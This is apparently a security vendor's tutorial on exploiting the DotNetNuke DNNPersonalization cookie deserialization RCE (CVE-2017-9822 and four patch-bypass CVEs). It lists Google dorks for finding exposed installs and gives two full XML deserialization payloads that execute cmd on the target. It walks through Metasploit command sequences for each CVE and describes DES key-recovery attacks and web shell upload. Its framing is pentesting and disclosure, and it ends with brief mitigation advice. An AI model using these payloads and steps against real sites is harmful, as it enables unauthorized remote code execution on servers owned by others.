How to exploit the DotNetNuke Cookie Deserialization

We looked at around 300 DotNetNuke deployments in the wild and discovered that one in five installations was vulnerable to CVE-2017-9822. That includes governmental and banking websites.

Later edit [June 11, 2020]: As part of this research, we discovered a Remote Code Execution vulnerability exploitable through DNN Cookie Deserialization in one of the U.S. Department Of Defense’s biggest websites. After having responsibly reported it through HackerOne, the DOD solved the high-severity vulnerability and disclosed the report, with all details now publicly available.

To help pentesters identify and report this issue and developers to prevent or fix it, we created this practical deep-dive into this Cookie Deserialization RCE vulnerability found in DotNetNuke (DNN).

Learn how to find this issue in the wild by using Google dorks, determine the factors that indicate a DotNetNuke web app is vulnerable, go through hands-on examples, and much more!

Before we start, keep in mind the vulnerability was released under CVE-2017-9822, but the development team consistently failed at patching it, so they issued another four bypasses:

CVE-2018-15811
CVE-2018-15812
CVE-2018-18325
CVE-2018-18326.

We’ll look at all of them in the steps below.

Ready? Let’s do this!

1. What is DotNetNuke?

DotNetNuke is a free and open-source web CMS (content management system) written in C# and based on the .NET framework.

According to them, over 750,000 organizations deployed web platforms powered by DotNetNuke worldwide. It is so popular and so widely used across the Internet because you can deploy a DNN web instance in minutes, without needing a lot of technical knowledge. Another important functionality DotNetNuke has is the ability to create or import 3rd party custom modules built with VB.NET or C#.

You can install DNN on a stack that includes a Windows Server, IIS, ASP.NET, and SQL Server for Windows. Also, DNN supports verified registration of new users through email, but you need to configure a valid SMTP server in order for this security feature to be working.

default dotnetnuke index page after installation

(Default DotNetNuke index page after installation)

2. How to find DNN installs using Google Hacking dorks

You can use the following Google dorks to find available deployments across the Internet and test them against the DotNetNuke Cookie Deserialization CVE:

inurl:dnn.js
inurl:dnn.modalpopup.js
inurl:dnn.servicesframework.js
inurl:dnn.xml.js
inurl:dnncore.js
inurl:/Portals/0/
inurl:/DesktopModules/
inurl:/DNNCorp/
inurl:/DotNetNuke
inurl:/tabid/*/Default.aspx
inurl:/tabid/*/language/*/Default.aspx
intext:"by DNN Corp "

3. Vulnerability overview

What is deserialization and what’s wrong with it?

Deserialization is the process of interpreting streams of bytes and transforming them into data that can be executed by an application.

The main problem with deserialization is that most of the time it can take user input. This means you can inject maliciously crafted payloads in the requested format of the application and possibly manipulate its logic, disclose data, or even execute remote code.

DotNetNuke uses the DNNPersonalization cookie to store anonymous users’ personalization options (the options for authenticated users are stored through their profile pages). This cookie is used when the application serves a custom 404 Error page, which is also the default setting.

default dotnetnuke 404 error status

(Default DotNetNuke 404 Error status page)

You can start by analyzing the vulnerable source code of how the application processes the DNNPersonalization cookie XML value.

DNN Platform Library Common Utilities Xml Utils

(/DNN Platform/Library/Common/Utilities/XmlUtils.cs)

The program looks for the key and type attributes of the item XML node. Based on the extracted type, it creates a serializer using XmlSerializer. Because the XML cookie value can be user-supplied through the request headers, you can control the type of the XmlSerializer.

A big constraint of XmlSerializer is that it doesn’t work with types that have interface members (example: System.Diagnostic.Process). Instead, you can use ObjectDataProvider and build the payload using a method belonging to one of the following classes:

XamlReader, which can result in Remote Code Execution. You can see an example payload below, using the Parse method to open the calculator on the remote target.

<
<key="pentest-tools.com" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider>
    <ExpandedElement/>
    <MethodName>Parse</MethodName>
    <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
        <ResourceDictionary xmlns='http://schemas.microsoft.com/winfx/2006/xaml/presentation' xmlns:x='http://schemas.microsoft.com/winfx/2006/xaml' xmlns:System='clr-namespace:System;assembly=mscorlib' xmlns:Diag='clr-namespace:System.Diagnostics;assembly=system'>
            <ObjectDataProvider x:Key='LaunchCmd' ObjectType='{x:Type Diag:Process}' MethodName='Start'>
                <ObjectDataProvider.MethodParameters>
                    <System:String>cmd</System:String>
                    <System:String>/c calc</System:String>
                </ObjectDataProvider.MethodParameters>
            </ObjectDataProvider>
        </ResourceDictionary>
    </anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</item>
</profile>

ObjectStateFormatter, which can also result in Remote Code Execution. You can see an example payload below, using the Deserialize method to open the calculator on the remote target.

<profile>
    <item key="pentest-tools.com" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
        <ExpandedWrapperOfObjectStateFormatterObjectDataProvider xmlns:xsd=" [http://www.w3.org/2001/XMLSchema](http://www.w3.org/2001/XMLSchema) " xmlns:xsi=" [http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance) ">
        <ExpandedElement/>
        <ProjectedProperty0>
        <MethodName>Deserialize</MethodName>
        <MethodParameters>
            <anyType xsi:type="xsd:string">/wEy3hgAAQAAAP////8BAAAAAAAAAAwCAAAAX1N5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24sIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAAAlU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5QU09iamVjdAEAAAAGQ2xpWG1sAQIAAAAGAwAAAKUXPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4NCiAgJiN4RDsNCiAgPE9iaiBSZWZJZD0iMCI+DQogICAgJiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPg0KICAgICAgJiN4RDsNCiAgICAgIDxUPk1pY3Jvc29mdC5NYW5hZ2VtZW50LkluZnJhc3RydWN0dXJlLkNpbUluc3RhbmNlI1N5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24vUnVuc3BhY2VJbnZva2U1PC9UPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZSNSdW5zcGFjZUludm9rZTU8L1Q+JiN4RDsNCiAgICAgIDxUPk1pY3Jvc29mdC5NYW5hZ2VtZW50LkluZnJhc3RydWN0dXJlLkNpbUluc3RhbmNlPC9UPiYjeEQ7DQogICAgICA8VD5TeXN0ZW0uT2JqZWN0PC9UPiYjeEQ7DQogICAgPC9UTj4mI3hEOw0KICAgIDxUb1N0cmluZz5SdW5zcGFjZUludm9rZTU8L1RvU3RyaW5nPiYjeEQ7DQogICAgPE9iaiBSZWZJZD0iMSI+DQogICAgICAmI3hEOw0KICAgICAgPFROUmVmIFJlZklkPSIwIiAvPiYjeEQ7DQogICAgICA8VG9TdHJpbmc+UnVuc3BhY2VJbnZva2U1PC9Ub1N0cmluZz4mI3hEOw0KICAgICAgPFByb3BzPg0KICAgICAgICAmI3hEOw0KICAgICAgICA8TmlsIE49IlBTQ29tcHV0ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgIDxPYmogTj0idGVzdDEiIFJlZklkPSIyMCI+DQogICAgICAgICAgJiN4RDsNCiAgICAgICAgICA8VE4gUmVmSWQ9IjEiPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5XaW5kb3dzLk1hcmt1cC5YYW1sUmVhZGVyW10sIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzU8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5BcnJheTwvVD4mI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgICAgICAgIDwvVE4+JiN4RDsNCiAgICAgICAgICA8TFNUPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxTIE49Ikhhc2giPg0KICAgICAgICAgICAgICAmbHQ7UmVzb3VyY2VEaWN0aW9uYXJ5DQogICAgICAgICAgICAgIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iDQogICAgICAgICAgICAgIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIg0KICAgICAgICAgICAgICB4bWxuczpTeXN0ZW09ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIg0KICAgICAgICAgICAgICB4bWxuczpEaWFnPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iJmd0Ow0KICAgICAgICAgICAgICAmbHQ7T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJMYXVuY2hDYWxjIiBPYmplY3RUeXBlPSJ7eDpUeXBlIERpYWc6UHJvY2Vzc30iIE1ldGhvZE5hbWU9IlN0YXJ0IiZndDsNCiAgICAgICAgICAgICAgJmx0O09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0Ow0KICAgICAgICAgICAgICAmbHQ7U3lzdGVtOlN0cmluZyZndDtjbWQmbHQ7L1N5c3RlbTpTdHJpbmcmZ3Q7DQogICAgICAgICAgICAgICZsdDtTeXN0ZW06U3RyaW5nJmd0Oy9jICJjYWxjIiZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgICAgICAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycyZndDsNCiAgICAgICAgICAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXImZ3Q7DQogICAgICAgICAgICAgICZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0Ow0KICAgICAgICAgICAgPC9TPiYjeEQ7DQogICAgICAgICAgPC9MU1Q+JiN4RDsNCiAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgIDwvUHJvcHM+JiN4RDsNCiAgICAgIDxNUz4NCiAgICAgICAgJiN4RDsNCiAgICAgICAgPE9iaiBOPSJfX0NsYXNzTWV0YWRhdGEiIFJlZklkPSIyIj4NCiAgICAgICAgICAmI3hEOw0KICAgICAgICAgIDxUTiBSZWZJZD0iMSI+DQogICAgICAgICAgICAmI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdDwvVD4mI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgICAgICAgIDwvVE4+JiN4RDsNCiAgICAgICAgICA8TFNUPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxPYmogUmVmSWQ9IjMiPg0KICAgICAgICAgICAgICAmI3hEOw0KICAgICAgICAgICAgICA8TVM+DQogICAgICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgICAgICA8UyBOPSJDbGFzc05hbWUiPlJ1bnNwYWNlSW52b2tlNTwvUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik5hbWVzcGFjZSI+U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbjwvUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxOaWwgTj0iU2VydmVyTmFtZSIgLz4mI3hEOw0KICAgICAgICAgICAgICAgIDxJMzIgTj0iSGFzaCI+NDYwOTI5MTkyPC9JMzI+JiN4RDsNCiAgICAgICAgICAgICAgICA8UyBOPSJNaVhtbCI+Jmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSImZ3Q7Jmx0O1BST1BFUlRZIE5BTUU9InRlc3QxIiBUWVBFPSJzdHJpbmciJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPg0KICAgICAgJiN4RDsNCiAgICAgIDxSZWYgTj0iX19DbGFzc01ldGFkYXRhIiBSZWZJZD0iMiIgLz4mI3hEOw0KICAgIDwvTVM+JiN4RDsNCiAgPC9PYmo+JiN4RDsNCjwvT2Jqcz4L</anyType>
        </MethodParameters>
        <ObjectInstance xsi:type="ObjectStateFormatter"></ObjectInstance>
    </ProjectedProperty0>
</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>
</item>
</profile>

DotNetNuke.*, which can result in unrestricted file upload, arbitrary files read, delete files, and various other actions. You can see an example payload below, using the WriteFile method of the DotNetNuke.Common.Utilities.FileSystemUtils class, to read files from the target system.

The first and original vulnerability was identified as CVE-2017-9822. After that, the other four CVEs were released based on the same issue, DotNetNuke Cookie Deserialization RCE, but they are only bypassing the failed attempts at patching the first CVE. The following lines will provide you with the details, technical aspects, and vulnerable versions of each DNN Cookie Deserialization CVE.

CVE-2017-9822: Remote Code Execution in DotNetNuke before 9.1.1

Affects DotNetNuke versions 5.0.0 to 9.1.0. The exploitation is straightforward by passing the malicious payload through the DNNPersonalization cookie within a 404 error page.

The application will parse the XML input, deserialize, and execute it. You don’t have to bypass any patching mechanism.

If you want to exploit DotNetNuke Cookie Deserialization through the Metasploit module (which is available through Exploit-DB), you only have to set the target host, target port, and a specific payload, as follows:

msfconsole
msf5 > use exploit/windows/http/dnncookiedeserialization_rce
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set RHOSTS <TARGET>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set RPORT <TARGET PORT>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set payload <PAYLOAD>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set TARGETURI <404 ERROR PAGE>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set TARGET 1
msf5 exploit(windows/http/dnncookiedeserialization_rce) > check

If you get the “The target appears to be vulnerable” message after running the check, you can proceed by entering the “exploit” command within the Metasploit Console.

Remote Code Execution in DotNetNuke v. 9.2.0 - 9.2.1 - Pentest-Tools.com technical walkthrough

You can also craft a custom payload using the DotNetNuke module within the ysoserial tool. To upload a web shell and execute commands from it, place it inside of the DotNetNuke Exploit DB module, and import it into the Metasploit – as we did in the demo.

Remote Code Execution in DotNetNuke 8.0.4 (CVE-2017-9822) - Pentest-Tools.com technical walkthrough

CVE-2018-15811: Remote Code Execution in DotNetNuke 9.1.1

The first patch consisted of a DES implementation, which is a vulnerable and weak encryption algorithm. The encryption key also presented a poor randomness level (low-entropy). This cryptography scheme was used to encrypt both the DNNPersonalization cookie and the registration code sent to the email when you sign up through a DotNetNuke application that uses Verified Registration. Regardless of the official CVE details, this issue affects only the 9.1.1 DNN version.

The registration code is the encrypted form of the portalID and userID variables used within the application disclosed in plaintext through the user profile.

You can gather the verification code by registering a new user and checking your email. You have to get the unencrypted format of this code by logging in as the new user, navigating to the “Edit Profile” page, inspecting the source code, and searching for the values of userID and portalID (possible to return a negative value. Just continue searching until you find a positive integer). Having both the encrypted and plaintext codes, you can launch a known-plaintext attack and encrypt your payload with the recovered key.

(Edit Profile page source code)

If you want to exploit this CVE through the Metasploit module, you have to first set the target host, target port, payload, encrypted verification code, and plaintext verification code.

msfconsole
msf5 > use exploit/windows/http/dnncookiedeserialization_rce
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set RHOSTS <TARGET>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set RPORT <TARGET PORT>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set payload <PAYLOAD>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set TARGETURI <404 ERROR PAGE>
msf5 exploit(windows/http/dnncookiedeserializationrce) > set VERIFICATIONCODE <ENCRYPTED>
msf5 exploit(windows/http/dnncookiedeserializationrce) > set VERIFICATIONPLAIN <PLAINTEXT>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set ENCRYPTED true
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set TARGET 2
msf5 exploit(windows/http/dnncookiedeserialization_rce) > check
The VERIFICATION_PLAIN value is in the following format: portalID-userID

If you get the “The target appears to be vulnerable” message after running the check, you can proceed by entering the “exploit” command within Metasploit Console.

Remote Code Execution in DotNetNuke 8.0.4 - Pentest-Tools.com technical walkthrough

CVE-2018-15812: Remote Code Execution in DotNetNuke 9.2 through 9.2.1

The patch for CVE-2018-15811 added the session cookie as a participant in the encryption scheme. So besides the target host, target port, payload, encrypted verification code, and plaintext verification code, you also have to set the.DOTNETNUKE cookie of the user you registered within the Metasploit Console.

You can find this vulnerability in DotNetNuke versions from 9.2.0 to 9.2.1.

msfconsole
msf5 > use exploit/windows/http/dnncookiedeserialization_rce
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set RHOSTS <TARGET>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set RPORT <TARGET PORT>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set payload <PAYLOAD>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set TARGETURI <404 ERROR PAGE>
msf5 exploit(windows/http/dnncookiedeserializationrce) > set VERIFICATIONCODE <ENCRYPTED>
msf5 exploit(windows/http/dnncookiedeserializationrce) > set VERIFICATIONPLAIN <PLAINTEXT>
msf5 exploit(windows/http/dnncookiedeserializationrce) > set SESSIONTOKEN <.DOTNETNUKE>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set ENCRYPTED true
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set TARGET 3
msf5 exploit(windows/http/dnncookiedeserialization_rce) > check

The VERIFICATION_PLAIN value is in the same format.

If the message “The target appears to be vulnerable” is returned after you run the check, you can proceed by entering the “exploit” command within Metasploit Console.

CVE-2018-18325 and CVE-2018-18326: Remote Code Execution in DotNetNuke 9.2.2 through 9.3.0-RC

The last failed patch attempt was to use different encryption keys for the DNNPersonalization cookie and the verification code. The idea sounds good and effective, except if the DNNPersonalization key was derived from the registration code encryption key. But this should not be a big issue if the encryption algorithm would be changed to a stronger and current one.

Oh, wait… I forgot to mention the encryption remained the same (DES) and no changes were applied to it.

You can find those issues in the DotNetNuke from 9.2.2 to 9.3.0-RC.

Also, through this patch, the userID variables are no longer disclosed in a plaintext format and are now encrypted, but the portalID is still displayed in an unencrypted format. You can still retrieve the encryption key by gathering a list of verification codes of various newly created users, launching a partial known-plaintext attack against them, and reducing the possible number of valid encryption keys. After that, you have to try each potential key until you find the one that works.

This process will take a little longer, depending on the number of encrypted registration codes you have collected.

msfconsole
msf5 > use exploit/windows/http/dnncookiedeserialization_rce
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set RHOSTS <TARGET>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set RPORT <TARGET PORT>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set payload <PAYLOAD>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set TARGETURI <404 ERROR PAGE>
msf5 exploit(windows/http/dnncookiedeserializationrce) > set VERIFICATIONCODE <FILE PATH>
msf5 exploit(windows/http/dnncookiedeserializationrce) > set VERIFICATIONPLAIN <PORTALID>
msf5 exploit(windows/http/dnncookiedeserializationrce) > set SESSIONTOKEN <.DOTNETNUKE>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set ENCRYPTED true
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set TARGET 4
msf5 exploit(windows/http/dnncookiedeserialization_rce) > check

The VERIFICATION_CODE value is the full path of the local file containing the codes you collected from the users you registered.

You have to parse the plaintext portalID through the VERIFICATION_PLAIN variable, which you can extract by inspecting the source code of the “Edit Profile” page within any user settings page.

Finally, if the message “The target appears to be vulnerable” is returned after you run the check, you can proceed by entering the “exploit” command within Metasploit Console. You have to expect the process to take some minutes, even hours.

Remote Code Execution in DotNetNuke v. 9.2.2 - 9.3.0-RC - Pentest-Tools.com technical walkthrough

You can get rid of this vulnerability by upgrading your DotNetNuke deployment to the latest version.

If you don’t want to update and prefer to stick with the current version, you have to change the page the users will be redirected to once they trigger a 404 error (the homepage is a usual recommendation).

To do this, log into the admin account, navigate to the “Admin” -> “Site Settings” -> “Advanced Settings” and look for the “404 Error Page” dropdown menu.

change error page redirection

4. Last thoughts

We have analyzed around 300 DotNetNuke deployments in the wild and found out that one in five installations was vulnerable to this issue, including governmental and banking websites. We also reported the issues where possible.

dotnet cookie deserialization pentagon bug bounty

(DotNetNuke Cookie Deserialization in Pentagon’s HackerOne Bug Bounty program)

dotnetnuke cookie deserialization in government website

(DotNetNuke Cookie Deserialization in Government website)

Is your DNN deployment vulnerable?

Scan your web application periodically with our Website Scanner and also discover other common web application vulnerabilities and server configuration issues.

Try out the scanner with a free, light check and see for yourself!